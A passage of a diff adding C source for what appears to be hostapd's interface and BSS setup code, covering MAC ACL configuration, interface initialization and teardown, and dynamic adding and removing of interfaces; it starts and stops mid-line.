< 0) + return -1; + + if (ieee802_1x_init(hapd)) { + wpa_printf(MSG_ERROR, "IEEE 802.1X initialization failed."); + return -1; + } + + if (hapd->conf->wpa && hostapd_setup_wpa(hapd)) + return -1; + + if (accounting_init(hapd)) { + wpa_printf(MSG_ERROR, "Accounting initialization failed."); + return -1; + } + + if (hapd->conf->ieee802_11f && + (hapd->iapp = iapp_init(hapd, hapd->conf->iapp_iface)) == NULL) { + wpa_printf(MSG_ERROR, "IEEE 802.11F (IAPP) initialization " + "failed."); + return -1; + } + +#ifdef CONFIG_INTERWORKING + if (gas_serv_init(hapd)) { + wpa_printf(MSG_ERROR, "GAS server initialization failed"); + return -1; + } + + if (conf->qos_map_set_len && + hostapd_drv_set_qos_map(hapd, conf->qos_map_set, + conf->qos_map_set_len)) { + wpa_printf(MSG_ERROR, "Failed to initialize QoS Map"); + return -1; + } +#endif /* CONFIG_INTERWORKING */ + + if (!hostapd_drv_none(hapd) && vlan_init(hapd)) { + wpa_printf(MSG_ERROR, "VLAN initialization failed."); + return -1; + } + + if (!hapd->conf->start_disabled) + ieee802_11_set_beacon(hapd); + + if (hapd->wpa_auth && wpa_init_keys(hapd->wpa_auth) < 0) + return -1; + + if (hapd->driver && hapd->driver->set_operstate) + hapd->driver->set_operstate(hapd->drv_priv, 1); + + return 0; +} + + +static void hostapd_tx_queue_params(struct hostapd_iface *iface) +{ + struct hostapd_data *hapd = iface->bss[0]; + int i; + struct hostapd_tx_queue_params *p; + + for (i = 0; i < NUM_TX_QUEUES; i++) { + p = &iface->conf->tx_queue[i]; + + if (hostapd_set_tx_queue_params(hapd, i, p->aifs, p->cwmin, + p->cwmax, p->burst)) { + wpa_printf(MSG_DEBUG, "Failed to set TX queue " + "parameters for queue %d.", i); + /* Continue anyway */ + } + } +} + + +static int hostapd_set_acl_list(struct hostapd_data *hapd, + struct mac_acl_entry *mac_acl, + int n_entries, u8 accept_acl) +{ + struct hostapd_acl_params *acl_params; + int i, err; + + acl_params = os_zalloc(sizeof(*acl_params) + + (n_entries * sizeof(acl_params->mac_acl[0]))); + if (!acl_params) + return -ENOMEM; + + for (i = 0; i < n_entries; i++) + os_memcpy(acl_params->mac_acl[i].addr, mac_acl[i].addr, + ETH_ALEN); + + acl_params->acl_policy = accept_acl; + acl_params->num_mac_acl = n_entries; + + err = hostapd_drv_set_acl(hapd, acl_params); + + os_free(acl_params); + + return err; +} + + +static void hostapd_set_acl(struct hostapd_data *hapd) +{ + struct hostapd_config *conf = hapd->iconf; + int err; + u8 accept_acl; + + if (hapd->iface->drv_max_acl_mac_addrs == 0) + return; + if (!(conf->bss[0]->num_accept_mac || conf->bss[0]->num_deny_mac)) + return; + + if (conf->bss[0]->macaddr_acl == DENY_UNLESS_ACCEPTED) { + if (conf->bss[0]->num_accept_mac) { + accept_acl = 1; + err = hostapd_set_acl_list(hapd, + conf->bss[0]->accept_mac, + conf->bss[0]->num_accept_mac, + accept_acl); + if (err) { + wpa_printf(MSG_DEBUG, "Failed to set accept acl"); + return; + } + } else { + wpa_printf(MSG_DEBUG, "Mismatch between ACL Policy & Accept/deny lists file"); + } + } else if (conf->bss[0]->macaddr_acl == ACCEPT_UNLESS_DENIED) { + if (conf->bss[0]->num_deny_mac) { + accept_acl = 0; + err = hostapd_set_acl_list(hapd, conf->bss[0]->deny_mac, + conf->bss[0]->num_deny_mac, + accept_acl); + if (err) { + wpa_printf(MSG_DEBUG, "Failed to set deny acl"); + return; + } + } else { + wpa_printf(MSG_DEBUG, "Mismatch between ACL Policy & Accept/deny lists file"); + } + } +} + + +static int start_ctrl_iface_bss(struct hostapd_data *hapd) +{ + if (!hapd->iface->interfaces || + !hapd->iface->interfaces->ctrl_iface_init) + return 0; + + if (hapd->iface->interfaces->ctrl_iface_init(hapd)) { + wpa_printf(MSG_ERROR, + "Failed to setup control interface for %s", + hapd->conf->iface); + return -1; + } + + return 0; +} + + +static int start_ctrl_iface(struct hostapd_iface *iface) +{ + size_t i; + + if (!iface->interfaces || !iface->interfaces->ctrl_iface_init) + return 0; + + for (i = 0; i < iface->num_bss; i++) { + struct hostapd_data *hapd = iface->bss[i]; + if (iface->interfaces->ctrl_iface_init(hapd)) { + wpa_printf(MSG_ERROR, + "Failed to setup control interface for %s", + hapd->conf->iface); + return -1; + } + } + + return 0; +} + + +static void channel_list_update_timeout(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_iface *iface = eloop_ctx; + + if (!iface->wait_channel_update) { + wpa_printf(MSG_INFO, "Channel list update timeout, but interface was not waiting for it"); + return; + } + + /* + * It is possible that the existing channel list is acceptable, so try + * to proceed. + */ + wpa_printf(MSG_DEBUG, "Channel list update timeout - try to continue anyway"); + setup_interface2(iface); +} + + +void hostapd_channel_list_updated(struct hostapd_iface *iface, int initiator) +{ + if (!iface->wait_channel_update || initiator != REGDOM_SET_BY_USER) + return; + + wpa_printf(MSG_DEBUG, "Channel list updated - continue setup"); + eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); + setup_interface2(iface); +} + + +static int setup_interface(struct hostapd_iface *iface) +{ + struct hostapd_data *hapd = iface->bss[0]; + size_t i; + + if (!iface->phy[0]) { + const char *phy = hostapd_drv_get_radio_name(hapd); + if (phy) { + wpa_printf(MSG_DEBUG, "phy: %s", phy); + os_strlcpy(iface->phy, phy, sizeof(iface->phy)); + } + } + + /* + * Make sure that all BSSes get configured with a pointer to the same + * driver interface. + */ + for (i = 1; i < iface->num_bss; i++) { + iface->bss[i]->driver = hapd->driver; + iface->bss[i]->drv_priv = hapd->drv_priv; + } + + if (hostapd_validate_bssid_configuration(iface)) + return -1; + + /* + * Initialize control interfaces early to allow external monitoring of + * channel setup operations that may take considerable amount of time + * especially for DFS cases. + */ + if (start_ctrl_iface(iface)) + return -1; + + if (hapd->iconf->country[0] && hapd->iconf->country[1]) { + char country[4], previous_country[4]; + + hostapd_set_state(iface, HAPD_IFACE_COUNTRY_UPDATE); + if (hostapd_get_country(hapd, previous_country) < 0) + previous_country[0] = '\0'; + + os_memcpy(country, hapd->iconf->country, 3); + country[3] = '\0'; + if (hostapd_set_country(hapd, country) < 0) { + wpa_printf(MSG_ERROR, "Failed to set country code"); + return -1; + } + + wpa_printf(MSG_DEBUG, "Previous country code %s, new country code %s", + previous_country, country); + + if (os_strncmp(previous_country, country, 2) != 0) { + wpa_printf(MSG_DEBUG, "Continue interface setup after channel list update"); + iface->wait_channel_update = 1; + eloop_register_timeout(1, 0, + channel_list_update_timeout, + iface, NULL); + return 0; + } + } + + return setup_interface2(iface); +} + + +static int setup_interface2(struct hostapd_iface *iface) +{ + iface->wait_channel_update = 0; + + if (hostapd_get_hw_features(iface)) { + /* Not all drivers support this yet, so continue without hw + * feature data. */ + } else { + int ret = hostapd_select_hw_mode(iface); + if (ret < 0) { + wpa_printf(MSG_ERROR, "Could not select hw_mode and " + "channel. (%d)", ret); + return -1; + } + if (ret == 1) { + wpa_printf(MSG_DEBUG, "Interface initialization will be completed in a callback (ACS)"); + return 0; + } + ret = hostapd_check_ht_capab(iface); + if (ret < 0) + return -1; + if (ret == 1) { + wpa_printf(MSG_DEBUG, "Interface initialization will " + "be completed in a callback"); + return 0; + } + + if (iface->conf->ieee80211h) + wpa_printf(MSG_DEBUG, "DFS support is enabled"); + } + return hostapd_setup_interface_complete(iface, 0); +} + + +/** + * hostapd_setup_interface_complete - Complete interface setup + * + * This function is called when previous steps in the interface setup has been + * completed. This can also start operations, e.g., DFS, that will require + * additional processing before interface is ready to be enabled. Such + * operations will call this function from eloop callbacks when finished. + */ +int hostapd_setup_interface_complete(struct hostapd_iface *iface, int err) +{ + struct hostapd_data *hapd = iface->bss[0]; + size_t j; + u8 *prev_addr; + + if (err) { + wpa_printf(MSG_ERROR, "Interface initialization failed"); + hostapd_set_state(iface, HAPD_IFACE_DISABLED); + if (iface->interfaces && iface->interfaces->terminate_on_error) + eloop_terminate(); + return -1; + } + + wpa_printf(MSG_DEBUG, "Completing interface initialization"); + if (iface->conf->channel) { +#ifdef NEED_AP_MLME + int res; +#endif /* NEED_AP_MLME */ + + iface->freq = hostapd_hw_get_freq(hapd, iface->conf->channel); + wpa_printf(MSG_DEBUG, "Mode: %s Channel: %d " + "Frequency: %d MHz", + hostapd_hw_mode_txt(iface->conf->hw_mode), + iface->conf->channel, iface->freq); + +#ifdef NEED_AP_MLME + /* Check DFS */ + res = hostapd_handle_dfs(iface); + if (res <= 0) + return res; +#endif /* NEED_AP_MLME */ + + if (hostapd_set_freq(hapd, hapd->iconf->hw_mode, iface->freq, + hapd->iconf->channel, + hapd->iconf->ieee80211n, + hapd->iconf->ieee80211ac, + hapd->iconf->secondary_channel, + hapd->iconf->vht_oper_chwidth, + hapd->iconf->vht_oper_centr_freq_seg0_idx, + hapd->iconf->vht_oper_centr_freq_seg1_idx)) { + wpa_printf(MSG_ERROR, "Could not set channel for " + "kernel driver"); + return -1; + } + } + + if (iface->current_mode) { + if (hostapd_prepare_rates(iface, iface->current_mode)) { + wpa_printf(MSG_ERROR, "Failed to prepare rates " + "table."); + hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_WARNING, + "Failed to prepare rates table."); + return -1; + } + } + + if (hapd->iconf->rts_threshold > -1 && + hostapd_set_rts(hapd, hapd->iconf->rts_threshold)) { + wpa_printf(MSG_ERROR, "Could not set RTS threshold for " + "kernel driver"); + return -1; + } + + if (hapd->iconf->fragm_threshold > -1 && + hostapd_set_frag(hapd, hapd->iconf->fragm_threshold)) { + wpa_printf(MSG_ERROR, "Could not set fragmentation threshold " + "for kernel driver"); + return -1; + } + + prev_addr = hapd->own_addr; + + for (j = 0; j < iface->num_bss; j++) { + hapd = iface->bss[j]; + if (j) + os_memcpy(hapd->own_addr, prev_addr, ETH_ALEN); + if (hostapd_setup_bss(hapd, j == 0)) + return -1; + if (hostapd_mac_comp_empty(hapd->conf->bssid) == 0) + prev_addr = hapd->own_addr; + } + hapd = iface->bss[0]; + + hostapd_tx_queue_params(iface); + + ap_list_init(iface); + + hostapd_set_acl(hapd); + + if (hostapd_driver_commit(hapd) < 0) { + wpa_printf(MSG_ERROR, "%s: Failed to commit driver " + "configuration", __func__); + return -1; + } + + /* + * WPS UPnP module can be initialized only when the "upnp_iface" is up. + * If "interface" and "upnp_iface" are the same (e.g., non-bridge + * mode), the interface is up only after driver_commit, so initialize + * WPS after driver_commit. + */ + for (j = 0; j < iface->num_bss; j++) { + if (hostapd_init_wps_complete(iface->bss[j])) + return -1; + } + + hostapd_set_state(iface, HAPD_IFACE_ENABLED); + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, AP_EVENT_ENABLED); + if (hapd->setup_complete_cb) + hapd->setup_complete_cb(hapd->setup_complete_cb_ctx); + + wpa_printf(MSG_DEBUG, "%s: Setup of interface done.", + iface->bss[0]->conf->iface); + if (iface->interfaces && iface->interfaces->terminate_on_error > 0) + iface->interfaces->terminate_on_error--; + + return 0; +} + + +/** + * hostapd_setup_interface - Setup of an interface + * @iface: Pointer to interface data. + * Returns: 0 on success, -1 on failure + * + * Initializes the driver interface, validates the configuration, + * and sets driver parameters based on the configuration. + * Flushes old stations, sets the channel, encryption, + * beacons, and WDS links based on the configuration. + * + * If interface setup requires more time, e.g., to perform HT co-ex scans, ACS, + * or DFS operations, this function returns 0 before such operations have been + * completed. The pending operations are registered into eloop and will be + * completed from eloop callbacks. Those callbacks end up calling + * hostapd_setup_interface_complete() once setup has been completed. + */ +int hostapd_setup_interface(struct hostapd_iface *iface) +{ + int ret; + + ret = setup_interface(iface); + if (ret) { + wpa_printf(MSG_ERROR, "%s: Unable to setup interface.", + iface->bss[0]->conf->iface); + return -1; + } + + return 0; +} + + +/** + * hostapd_alloc_bss_data - Allocate and initialize per-BSS data + * @hapd_iface: Pointer to interface data + * @conf: Pointer to per-interface configuration + * @bss: Pointer to per-BSS configuration for this BSS + * Returns: Pointer to allocated BSS data + * + * This function is used to allocate per-BSS data structure. This data will be + * freed after hostapd_cleanup() is called for it during interface + * deinitialization. + */ +struct hostapd_data * +hostapd_alloc_bss_data(struct hostapd_iface *hapd_iface, + struct hostapd_config *conf, + struct hostapd_bss_config *bss) +{ + struct hostapd_data *hapd; + + hapd = os_zalloc(sizeof(*hapd)); + if (hapd == NULL) + return NULL; + + hapd->new_assoc_sta_cb = hostapd_new_assoc_sta; + hapd->iconf = conf; + hapd->conf = bss; + hapd->iface = hapd_iface; + hapd->driver = hapd->iconf->driver; + hapd->ctrl_sock = -1; + + return hapd; +} + + +static void hostapd_bss_deinit(struct hostapd_data *hapd) +{ + wpa_printf(MSG_DEBUG, "%s: deinit bss %s", __func__, + hapd->conf->iface); + hostapd_free_stas(hapd); + hostapd_flush_old_stations(hapd, WLAN_REASON_DEAUTH_LEAVING); + hostapd_clear_wep(hapd); + hostapd_cleanup(hapd); +} + + +void hostapd_interface_deinit(struct hostapd_iface *iface) +{ + int j; + + wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); + if (iface == NULL) + return; + + eloop_cancel_timeout(channel_list_update_timeout, iface, NULL); + iface->wait_channel_update = 0; + + for (j = iface->num_bss - 1; j >= 0; j--) + hostapd_bss_deinit(iface->bss[j]); +} + + +void hostapd_interface_free(struct hostapd_iface *iface) +{ + size_t j; + wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); + for (j = 0; j < iface->num_bss; j++) { + wpa_printf(MSG_DEBUG, "%s: free hapd %p", + __func__, iface->bss[j]); + os_free(iface->bss[j]); + } + hostapd_cleanup_iface(iface); +} + + +/** + * hostapd_init - Allocate and initialize per-interface data + * @config_file: Path to the configuration file + * Returns: Pointer to the allocated interface data or %NULL on failure + * + * This function is used to allocate main data structures for per-interface + * data. The allocated data buffer will be freed by calling + * hostapd_cleanup_iface(). + */ +struct hostapd_iface * hostapd_init(struct hapd_interfaces *interfaces, + const char *config_file) +{ + struct hostapd_iface *hapd_iface = NULL; + struct hostapd_config *conf = NULL; + struct hostapd_data *hapd; + size_t i; + + hapd_iface = os_zalloc(sizeof(*hapd_iface)); + if (hapd_iface == NULL) + goto fail; + + hapd_iface->config_fname = os_strdup(config_file); + if (hapd_iface->config_fname == NULL) + goto fail; + + conf = interfaces->config_read_cb(hapd_iface->config_fname); + if (conf == NULL) + goto fail; + hapd_iface->conf = conf; + + hapd_iface->num_bss = conf->num_bss; + hapd_iface->bss = os_calloc(conf->num_bss, + sizeof(struct hostapd_data *)); + if (hapd_iface->bss == NULL) + goto fail; + + for (i = 0; i < conf->num_bss; i++) { + hapd = hapd_iface->bss[i] = + hostapd_alloc_bss_data(hapd_iface, conf, + conf->bss[i]); + if (hapd == NULL) + goto fail; + hapd->msg_ctx = hapd; + } + + return hapd_iface; + +fail: + wpa_printf(MSG_ERROR, "Failed to set up interface with %s", + config_file); + if (conf) + hostapd_config_free(conf); + if (hapd_iface) { + os_free(hapd_iface->config_fname); + os_free(hapd_iface->bss); + wpa_printf(MSG_DEBUG, "%s: free iface %p", + __func__, hapd_iface); + os_free(hapd_iface); + } + return NULL; +} + + +static int ifname_in_use(struct hapd_interfaces *interfaces, const char *ifname) +{ + size_t i, j; + + for (i = 0; i < interfaces->count; i++) { + struct hostapd_iface *iface = interfaces->iface[i]; + for (j = 0; j < iface->num_bss; j++) { + struct hostapd_data *hapd = iface->bss[j]; + if (os_strcmp(ifname, hapd->conf->iface) == 0) + return 1; + } + } + + return 0; +} + + +/** + * hostapd_interface_init_bss - Read configuration file and init BSS data + * + * This function is used to parse configuration file for a BSS. This BSS is + * added to an existing interface sharing the same radio (if any) or a new + * interface is created if this is the first interface on a radio. This + * allocate memory for the BSS. No actual driver operations are started. + * + * This is similar to hostapd_interface_init(), but for a case where the + * configuration is used to add a single BSS instead of all BSSes for a radio. + */ +struct hostapd_iface * +hostapd_interface_init_bss(struct hapd_interfaces *interfaces, const char *phy, + const char *config_fname, int debug) +{ + struct hostapd_iface *new_iface = NULL, *iface = NULL; + struct hostapd_data *hapd; + int k; + size_t i, bss_idx; + + if (!phy || !*phy) + return NULL; + + for (i = 0; i < interfaces->count; i++) { + if (os_strcmp(interfaces->iface[i]->phy, phy) == 0) { + iface = interfaces->iface[i]; + break; + } + } + + wpa_printf(MSG_INFO, "Configuration file: %s (phy %s)%s", + config_fname, phy, iface ? "" : " --> new PHY"); + if (iface) { + struct hostapd_config *conf; + struct hostapd_bss_config **tmp_conf; + struct hostapd_data **tmp_bss; + struct hostapd_bss_config *bss; + const char *ifname; + + /* Add new BSS to existing iface */ + conf = interfaces->config_read_cb(config_fname); + if (conf == NULL) + return NULL; + if (conf->num_bss > 1) { + wpa_printf(MSG_ERROR, "Multiple BSSes specified in BSS-config"); + hostapd_config_free(conf); + return NULL; + } + + ifname = conf->bss[0]->iface; + if (ifname[0] != '\0' && ifname_in_use(interfaces, ifname)) { + wpa_printf(MSG_ERROR, + "Interface name %s already in use", ifname); + hostapd_config_free(conf); + return NULL; + } + + tmp_conf = os_realloc_array( + iface->conf->bss, iface->conf->num_bss + 1, + sizeof(struct hostapd_bss_config *)); + tmp_bss = os_realloc_array(iface->bss, iface->num_bss + 1, + sizeof(struct hostapd_data *)); + if (tmp_bss) + iface->bss = tmp_bss; + if (tmp_conf) { + iface->conf->bss = tmp_conf; + iface->conf->last_bss = tmp_conf[0]; + } + if (tmp_bss == NULL || tmp_conf == NULL) { + hostapd_config_free(conf); + return NULL; + } + bss = iface->conf->bss[iface->conf->num_bss] = conf->bss[0]; + iface->conf->num_bss++; + + hapd = hostapd_alloc_bss_data(iface, iface->conf, bss); + if (hapd == NULL) { + iface->conf->num_bss--; + hostapd_config_free(conf); + return NULL; + } + iface->conf->last_bss = bss; + iface->bss[iface->num_bss] = hapd; + hapd->msg_ctx = hapd; + + bss_idx = iface->num_bss++; + conf->num_bss--; + conf->bss[0] = NULL; + hostapd_config_free(conf); + } else { + /* Add a new iface with the first BSS */ + new_iface = iface = hostapd_init(interfaces, config_fname); + if (!iface) + return NULL; + os_strlcpy(iface->phy, phy, sizeof(iface->phy)); + iface->interfaces = interfaces; + bss_idx = 0; + } + + for (k = 0; k < debug; k++) { + if (iface->bss[bss_idx]->conf->logger_stdout_level > 0) + iface->bss[bss_idx]->conf->logger_stdout_level--; + } + + if (iface->conf->bss[bss_idx]->iface[0] == '\0' && + !hostapd_drv_none(iface->bss[bss_idx])) { + wpa_printf(MSG_ERROR, "Interface name not specified in %s", + config_fname); + if (new_iface) + hostapd_interface_deinit_free(new_iface); + return NULL; + } + + return iface; +} + + +void hostapd_interface_deinit_free(struct hostapd_iface *iface) +{ + const struct wpa_driver_ops *driver; + void *drv_priv; + + wpa_printf(MSG_DEBUG, "%s(%p)", __func__, iface); + if (iface == NULL) + return; + wpa_printf(MSG_DEBUG, "%s: num_bss=%u conf->num_bss=%u", + __func__, (unsigned int) iface->num_bss, + (unsigned int) iface->conf->num_bss); + driver = iface->bss[0]->driver; + drv_priv = iface->bss[0]->drv_priv; + hostapd_interface_deinit(iface); + wpa_printf(MSG_DEBUG, "%s: driver=%p drv_priv=%p -> hapd_deinit", + __func__, driver, drv_priv); + if (driver && driver->hapd_deinit && drv_priv) + driver->hapd_deinit(drv_priv); + hostapd_interface_free(iface); +} + + +int hostapd_enable_iface(struct hostapd_iface *hapd_iface) +{ + if (hapd_iface->bss[0]->drv_priv != NULL) { + wpa_printf(MSG_ERROR, "Interface %s already enabled", + hapd_iface->conf->bss[0]->iface); + return -1; + } + + wpa_printf(MSG_DEBUG, "Enable interface %s", + hapd_iface->conf->bss[0]->iface); + + if (hapd_iface->interfaces == NULL || + hapd_iface->interfaces->driver_init == NULL || + hapd_iface->interfaces->driver_init(hapd_iface)) + return -1; + + if (hostapd_setup_interface(hapd_iface)) { + const struct wpa_driver_ops *driver; + void *drv_priv; + + driver = hapd_iface->bss[0]->driver; + drv_priv = hapd_iface->bss[0]->drv_priv; + wpa_printf(MSG_DEBUG, "%s: driver=%p drv_priv=%p -> hapd_deinit", + __func__, driver, drv_priv); + if (driver && driver->hapd_deinit && drv_priv) { + driver->hapd_deinit(drv_priv); + hapd_iface->bss[0]->drv_priv = NULL; + } + return -1; + } + + return 0; +} + + +int hostapd_reload_iface(struct hostapd_iface *hapd_iface) +{ + size_t j; + + wpa_printf(MSG_DEBUG, "Reload interface %s", + hapd_iface->conf->bss[0]->iface); + for (j = 0; j < hapd_iface->num_bss; j++) + hostapd_set_security_params(hapd_iface->conf->bss[j]); + if (hostapd_config_check(hapd_iface->conf) < 0) { + wpa_printf(MSG_ERROR, "Updated configuration is invalid"); + return -1; + } + hostapd_clear_old(hapd_iface); + for (j = 0; j < hapd_iface->num_bss; j++) + hostapd_reload_bss(hapd_iface->bss[j]); + + return 0; +} + + +int hostapd_disable_iface(struct hostapd_iface *hapd_iface) +{ + size_t j; + const struct wpa_driver_ops *driver; + void *drv_priv; + + if (hapd_iface == NULL) + return -1; + wpa_msg(hapd_iface->bss[0]->msg_ctx, MSG_INFO, AP_EVENT_DISABLED); + driver = hapd_iface->bss[0]->driver; + drv_priv = hapd_iface->bss[0]->drv_priv; + + /* whatever hostapd_interface_deinit does */ + for (j = 0; j < hapd_iface->num_bss; j++) { + struct hostapd_data *hapd = hapd_iface->bss[j]; + hostapd_free_stas(hapd); + hostapd_flush_old_stations(hapd, WLAN_REASON_DEAUTH_LEAVING); + hostapd_clear_wep(hapd); + hostapd_free_hapd_data(hapd); + } + + wpa_printf(MSG_DEBUG, "%s: driver=%p drv_priv=%p -> hapd_deinit", + __func__, driver, drv_priv); + if (driver && driver->hapd_deinit && drv_priv) { + driver->hapd_deinit(drv_priv); + hapd_iface->bss[0]->drv_priv = NULL; + } + + /* From hostapd_cleanup_iface: These were initialized in + * hostapd_setup_interface and hostapd_setup_interface_complete + */ + hostapd_cleanup_iface_partial(hapd_iface); + + wpa_printf(MSG_DEBUG, "Interface %s disabled", + hapd_iface->bss[0]->conf->iface); + hostapd_set_state(hapd_iface, HAPD_IFACE_DISABLED); + return 0; +} + + +static struct hostapd_iface * +hostapd_iface_alloc(struct hapd_interfaces *interfaces) +{ + struct hostapd_iface **iface, *hapd_iface; + + iface = os_realloc_array(interfaces->iface, interfaces->count + 1, + sizeof(struct hostapd_iface *)); + if (iface == NULL) + return NULL; + interfaces->iface = iface; + hapd_iface = interfaces->iface[interfaces->count] = + os_zalloc(sizeof(*hapd_iface)); + if (hapd_iface == NULL) { + wpa_printf(MSG_ERROR, "%s: Failed to allocate memory for " + "the interface", __func__); + return NULL; + } + interfaces->count++; + hapd_iface->interfaces = interfaces; + + return hapd_iface; +} + + +static struct hostapd_config * +hostapd_config_alloc(struct hapd_interfaces *interfaces, const char *ifname, + const char *ctrl_iface) +{ + struct hostapd_bss_config *bss; + struct hostapd_config *conf; + + /* Allocates memory for bss and conf */ + conf = hostapd_config_defaults(); + if (conf == NULL) { + wpa_printf(MSG_ERROR, "%s: Failed to allocate memory for " + "configuration", __func__); + return NULL; + } + + conf->driver = wpa_drivers[0]; + if (conf->driver == NULL) { + wpa_printf(MSG_ERROR, "No driver wrappers registered!"); + hostapd_config_free(conf); + return NULL; + } + + bss = conf->last_bss = conf->bss[0]; + + os_strlcpy(bss->iface, ifname, sizeof(bss->iface)); + bss->ctrl_interface = os_strdup(ctrl_iface); + if (bss->ctrl_interface == NULL) { + hostapd_config_free(conf); + return NULL; + } + + /* Reading configuration file skipped, will be done in SET! + * From reading the configuration till the end has to be done in + * SET + */ + return conf; +} + + +static struct hostapd_iface * hostapd_data_alloc( + struct hapd_interfaces *interfaces, struct hostapd_config *conf) +{ + size_t i; + struct hostapd_iface *hapd_iface = + interfaces->iface[interfaces->count - 1]; + struct hostapd_data *hapd; + + hapd_iface->conf = conf; + hapd_iface->num_bss = conf->num_bss; + + hapd_iface->bss = os_zalloc(conf->num_bss * + sizeof(struct hostapd_data *)); + if (hapd_iface->bss == NULL) + return NULL; + + for (i = 0; i < conf->num_bss; i++) { + hapd = hapd_iface->bss[i] = + hostapd_alloc_bss_data(hapd_iface, conf, conf->bss[i]); + if (hapd == NULL) + return NULL; + hapd->msg_ctx = hapd; + } + + hapd_iface->interfaces = interfaces; + + return hapd_iface; +} + + +int hostapd_add_iface(struct hapd_interfaces *interfaces, char *buf) +{ + struct hostapd_config *conf = NULL; + struct hostapd_iface *hapd_iface = NULL, *new_iface = NULL; + struct hostapd_data *hapd; + char *ptr; + size_t i, j; + const char *conf_file = NULL, *phy_name = NULL; + + if (os_strncmp(buf, "bss_config=", 11) == 0) { + char *pos; + phy_name = buf + 11; + pos = os_strchr(phy_name, ':'); + if (!pos) + return -1; + *pos++ = '\0'; + conf_file = pos; + if (!os_strlen(conf_file)) + return -1; + + hapd_iface = hostapd_interface_init_bss(interfaces, phy_name, + conf_file, 0); + if (!hapd_iface) + return -1; + for (j = 0; j < interfaces->count; j++) { + if (interfaces->iface[j] == hapd_iface) + break; + } + if (j == interfaces->count) { + struct hostapd_iface **tmp; + tmp = os_realloc_array(interfaces->iface, + interfaces->count + 1, + sizeof(struct hostapd_iface *)); + if (!tmp) { + hostapd_interface_deinit_free(hapd_iface); + return -1; + } + interfaces->iface = tmp; + interfaces->iface[interfaces->count++] = hapd_iface; + new_iface = hapd_iface; + } + + if (new_iface) { + if (interfaces->driver_init(hapd_iface) || + hostapd_setup_interface(hapd_iface)) { + interfaces->count--; + goto fail; + } + } else { + /* Assign new BSS with bss[0]'s driver info */ + hapd = hapd_iface->bss[hapd_iface->num_bss - 1]; + hapd->driver = hapd_iface->bss[0]->driver; + hapd->drv_priv = hapd_iface->bss[0]->drv_priv; + os_memcpy(hapd->own_addr, hapd_iface->bss[0]->own_addr, + ETH_ALEN); + + if (start_ctrl_iface_bss(hapd) < 0 || + (hapd_iface->state == HAPD_IFACE_ENABLED && + hostapd_setup_bss(hapd, -1))) { + hapd_iface->conf->num_bss--; + hapd_iface->num_bss--; + wpa_printf(MSG_DEBUG, "%s: free hapd %p %s", + __func__, hapd, hapd->conf->iface); + os_free(hapd); + return -1; + } + } + return 0; + } + + ptr = os_strchr(buf, ' '); + if (ptr == NULL) + return -1; + *ptr++ = '\0'; + + if (os_strncmp(ptr, "config=", 7) == 0) + conf_file = ptr + 7; + + for (i = 0; i < interfaces->count; i++) { + if (!os_strcmp(interfaces->iface[i]->conf->bss[0]->iface, + buf)) { + wpa_printf(MSG_INFO, "Cannot add interface - it " + "already exists"); + return -1; + } + } + + hapd_iface = hostapd_iface_alloc(interfaces); + if (hapd_iface == NULL) { + wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " + "for interface", __func__); + goto fail; + } + + if (conf_file && interfaces->config_read_cb) { + conf = interfaces->config_read_cb(conf_file); + if (conf && conf->bss) + os_strlcpy(conf->bss[0]->iface, buf, + sizeof(conf->bss[0]->iface)); + } else + conf = hostapd_config_alloc(interfaces, buf, ptr); + if (conf == NULL || conf->bss == NULL) { + wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " + "for configuration", __func__); + goto fail; + } + + hapd_iface = hostapd_data_alloc(interfaces, conf); + if (hapd_iface == NULL) { + wpa_printf(MSG_ERROR, "%s: Failed to allocate memory " + "for hostapd", __func__); + goto fail; + } + + if (start_ctrl_iface(hapd_iface) < 0) + goto fail; + + wpa_printf(MSG_INFO, "Add interface '%s'", conf->bss[0]->iface); + + return 0; + +fail: + if (conf) + hostapd_config_free(conf); + if (hapd_iface) { + if (hapd_iface->bss) { + for (i = 0; i < hapd_iface->num_bss; i++) { + hapd = hapd_iface->bss[i]; + if (hapd && hapd_iface->interfaces && + hapd_iface->interfaces->ctrl_iface_deinit) + hapd_iface->interfaces-> + ctrl_iface_deinit(hapd); + wpa_printf(MSG_DEBUG, "%s: free hapd %p (%s)", + __func__, hapd_iface->bss[i], + hapd_iface->bss[i]->conf->iface); + os_free(hapd_iface->bss[i]); + } + os_free(hapd_iface->bss); + } + wpa_printf(MSG_DEBUG, "%s: free iface %p", + __func__, hapd_iface); + os_free(hapd_iface); + } + return -1; +} + + +static int hostapd_remove_bss(struct hostapd_iface *iface, unsigned int idx) +{ + size_t i; + + wpa_printf(MSG_INFO, "Remove BSS '%s'", iface->conf->bss[idx]->iface); + + /* Remove hostapd_data only if it has already been initialized */ + if (idx < iface->num_bss) { + struct hostapd_data *hapd = iface->bss[idx]; + + hostapd_bss_deinit(hapd); + wpa_printf(MSG_DEBUG, "%s: free hapd %p (%s)", + __func__, hapd, hapd->conf->iface); + hostapd_config_free_bss(hapd->conf); + os_free(hapd); + + iface->num_bss--; + + for (i = idx; i < iface->num_bss; i++) + iface->bss[i] = iface->bss[i + 1]; + } else { + hostapd_config_free_bss(iface->conf->bss[idx]); + iface->conf->bss[idx] = NULL; + } + + iface->conf->num_bss--; + for (i = idx; i < iface->conf->num_bss; i++) + iface->conf->bss[i] = iface->conf->bss[i + 1]; + + return 0; +} + + +int hostapd_remove_iface(struct hapd_interfaces *interfaces, char *buf) +{ + struct hostapd_iface *hapd_iface; + size_t i, j, k = 0; + + for (i = 0; i < interfaces->count; i++) { + hapd_iface = interfaces->iface[i]; + if (hapd_iface == NULL) + return -1; + if (!os_strcmp(hapd_iface->conf->bss[0]->iface, buf)) { + wpa_printf(MSG_INFO, "Remove interface '%s'", buf); + hostapd_interface_deinit_free(hapd_iface); + k = i; + while (k < (interfaces->count - 1)) { + interfaces->iface[k] = + interfaces->iface[k + 1]; + k++; + } + interfaces->count--; + return 0; + } + + for (j = 0; j < hapd_iface->conf->num_bss; j++) { + if (!os_strcmp(hapd_iface->conf->bss[j]->iface, buf)) + return hostapd_remove_bss(hapd_iface, j); + } + } + return -1; +} + + +/** + * hostapd_new_assoc_sta - Notify that a new station associated with the AP + * @hapd: Pointer to 